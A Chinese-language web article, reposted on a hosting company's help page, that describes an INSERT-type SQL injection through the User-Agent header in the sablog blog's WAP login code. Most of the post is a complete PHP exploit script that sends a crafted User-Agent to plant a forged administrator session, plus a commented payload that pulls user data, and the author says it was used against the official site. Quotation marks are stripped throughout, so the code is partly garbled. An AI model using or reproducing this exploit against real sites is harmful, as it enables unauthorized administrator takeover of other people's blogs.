始创于2000年 股票代码:831685
咨询热线:0371-60135900 注册有礼 登录
  • 挂牌上市企业
  • 60秒人工响应
  • 99.99%连通率
  • 7*24h人工
  • 故障100倍补偿
您的位置: 网站首页 > 帮助中心>文章内容

php5 特性漏洞

发布时间:  2012/5/21 19:18:49

利用是PHP5,是因为_SERVER的变量不受引号的限制,即便是开启了转义
漏洞出在User-Agent
第二:insert into的多个数据插入
文中构造的地方就是
insert INTO {$db_prefix}sessions (hash,uid,groupid,ipaddress,agent,lastactivity) VALUES ($hash, ".$user[userid].", ".$user[groupid].", $iprand,,1),(9c5b71e5,1,1,211.43.206.202,9989581653, $timestamp);
MYSQL支持
insert into [admin] (name,pass) values (qq,bb),(aa,cc)
这样的数据插入.
sablog是国内安全研究人员写的一款blog程序,但是代码中有一点瑕疵导致可能被获取管理员权限:)
问题出在wap/index.php里的652行左右
------------
      $hash = getuserhash($user[userid], $user[username], $user[password], $user[logincount]+1);
      $DB->query("delete FROM {$db_prefix}sessions where uid=".$user[userid]." OR lastactivity+3600<$timestamp OR hash=$hash");
      $DB->query("insert INTO {$db_prefix}sessions (hash,uid,groupid,ipaddress,agent,lastactivity) VALUES ($hash, ".$user[userid].", ".$user[groupid].", $onlineip, ".$_SERVER[HTTP_USER_AGENT].", $timestamp)");
-------------
注意_SERVER变量是直接入库的,存在一个insert类型的注射,我们通过这个漏洞测试过了官方,顺利拿到了所有权限,呵呵.
这个地方要求是php5的,作者一时疏忽吧,贴出我们当时使用的exp
<?php
//from loveshell.net
$url = $argv[1]./wap/index.php;
$username = $argv[2];
$password = $argv[3];

echo"  +----------------------------------------------------------------+\r\n";
echo"      Uage: php.exe blogurl username password\r\n";
echo"      example  php.exe http://web.archive.org/web/20071217143209/http://www.loveshell.net/blog test test\r\n";
echo"  +----------------------------------------------------------------+\r\n";

if(!$username||!$password) die;
echo"  [email=root@localhost:Post]root@localhost:Post[/email] our content\r\n";
$str = username=.$username.&password=.$password.&action=login&do=login&;
$msg = myrequest($str,$url);
echo $msg;
if(strpos($msg,登陆成功)!==false) echo"  [email=root@localhost:All]root@localhost:All[/email] Done!!! \r\n";
else echo"  [email=root@localhost:Login]root@localhost:Login[/email] error!!! \r\n";
echo"  +----------------------------------------------------------------+\r\n";
echo"  Enjoy yourself.\r\n";
echo"  +----------------------------------------------------------------+\r\n";

function myrequest($msg,$url,$type=2,$cookie=){
//change type for post/get
  global $sql;
$urls = initurl($url);
$iprand = rand(1,255)...rand(1,255)...rand(1,255)...rand(1,255);
$fp = @fsockopen($urls[host], $urls[port], $errno, $errstr, 3);
  if($fp) {
    if($type==1){
      fputs($fp, "GET $urls[path]?$urls[query] HTTP/1.1\r\n");
      fputs($fp, "Host: $urls[host]\r\n");
      fputs($fp, "Accept: */*\r\n");
      fputs($fp, "Referer: $urls[url]\r\n");
      fputs($fp, "User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)\r\n");
      fputs($fp, "CLIENT_IP: $iprand\r\n");
      fputs($fp, "X_FORWARDED-FOR: $iprand\r\n");
      fputs($fp, "Pragma: no-cache\r\n");
      fputs($fp, "Cache-Control: no-cache\r\n");
      fputs($fp, "Connection: Keep-Alive\r\n");
      fputs($fp, "Cookie: $cookie\r\n\r\n");
    }else{
      fputs($fp, "POST $urls[path]?$urls[query] HTTP/1.1\r\n");
      fputs($fp, "Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*\r\n");
      fputs($fp, "Referer: $urls[url]\r\n");
      fputs($fp, "Accept-Language: zh-cn\r\n");
      fputs($fp, "Content-Type: application/x-www-form-urlencoded\r\n");
//      fputs($fp, "User-Agent: ,1),((select concat(0x2f,groupid,0x2f,logincount) from angel_users limit 1),1,1,211.43.206.208,123\r\n");
      fputs($fp, "User-Agent: ,1),(9c5b71e5,1,1,211.43.206.202,9989581653\r\n");
      fputs($fp, "CLIENT_IP: $iprand\r\n");
      fputs($fp, "X_FORWARDED-FOR: $iprand\r\n");
      fputs($fp, "Host: $urls[host]\r\n");
      fputs($fp, "Content-Length: ".strlen($msg)."\r\n");
      fputs($fp, "Connection: Keep-Alive\r\n");
      fputs($fp, "Cache-Control: no-cache\r\n");
      fputs($fp, "Cookie: $cookie\r\n\r\n");
      fputs($fp, $msg."\r\n");
    }
  }

while($fp&&!feof($fp)) {
$resp .= fread($fp,1024);
}
return $resp;
}

function initurl($url) {
$newurl = ;
$blanks = array(url=>);
$urls = $blanks;

if(strlen($url)<10) return $blanks;
$urls = @parse_url($url);
if(empty($urls) || !is_array($urls)) return $blanks;
if(empty($urls[scheme])) return $blanks;
if($urls[scheme] == file) return $blanks;
$newurl .= $urls[scheme].://;
$newurl .= empty($urls[user])?:$urls[user];
$newurl .= empty($urls[pass])?::.$urls[pass];
$newurl .= empty($urls[host])?:((!empty($urls[user]) || !empty($urls[pass]))?@:).$urls[host];
$newurl .= empty($urls[port])?::.$urls[port];
$newurl .= empty($urls[path])?:$urls[path];
$newurl .= empty($urls[query])?:?.$urls[query];
$newurl .= empty($urls[fragment])?:#.$urls[fragment];
$urls[port] = empty($urls[port])?80:$urls[port];
$urls[url] = $newurl;

return $urls;
}
?>


这次还是比较有意思的,起码有以前没有出现过的知识点在3个以上,另外sablog的加密认证方式很薄弱,加上这个注射可以进后台的,作者需要改下哦.怕出问题的用户把wap禁用吧,exp的含义我就不分析了,仔细分析的话会有很有意思的东西哦.....

亿恩科技地址(ADD):郑州市黄河路129号天一大厦608室 邮编(ZIP):450008 传真(FAX):0371-60123888
   联系:亿恩小凡
   QQ:89317007
   电话:0371-63322206


本文出自:亿恩科技【www.enkj.com】

服务器租用/服务器托管中国五强!虚拟主机域名注册顶级提供商!15年品质保障!--亿恩科技[ENKJ.COM]

  • 您可能在找
  • 亿恩北京公司:
  • 经营性ICP/ISP证:京B2-20150015
  • 亿恩郑州公司:
  • 经营性ICP/ISP/IDC证:豫B1.B2-20060070
  • 亿恩南昌公司:
  • 经营性ICP/ISP证:赣B2-20080012
  • 服务器/云主机 24小时售后服务电话:0371-60135900
  • 虚拟主机/智能建站 24小时售后服务电话:0371-60135900
  • 专注服务器托管17年
    扫扫关注-微信公众号
    0371-60135900
    Copyright© 1999-2019 ENKJ All Rights Reserved 亿恩科技 版权所有  地址:郑州市高新区翠竹街1号总部企业基地亿恩大厦  法律顾问:河南亚太人律师事务所郝建锋、杜慧月律师   京公网安备41019702002023号
      0
     
     
     
     

    0371-60135900
    7*24小时客服服务热线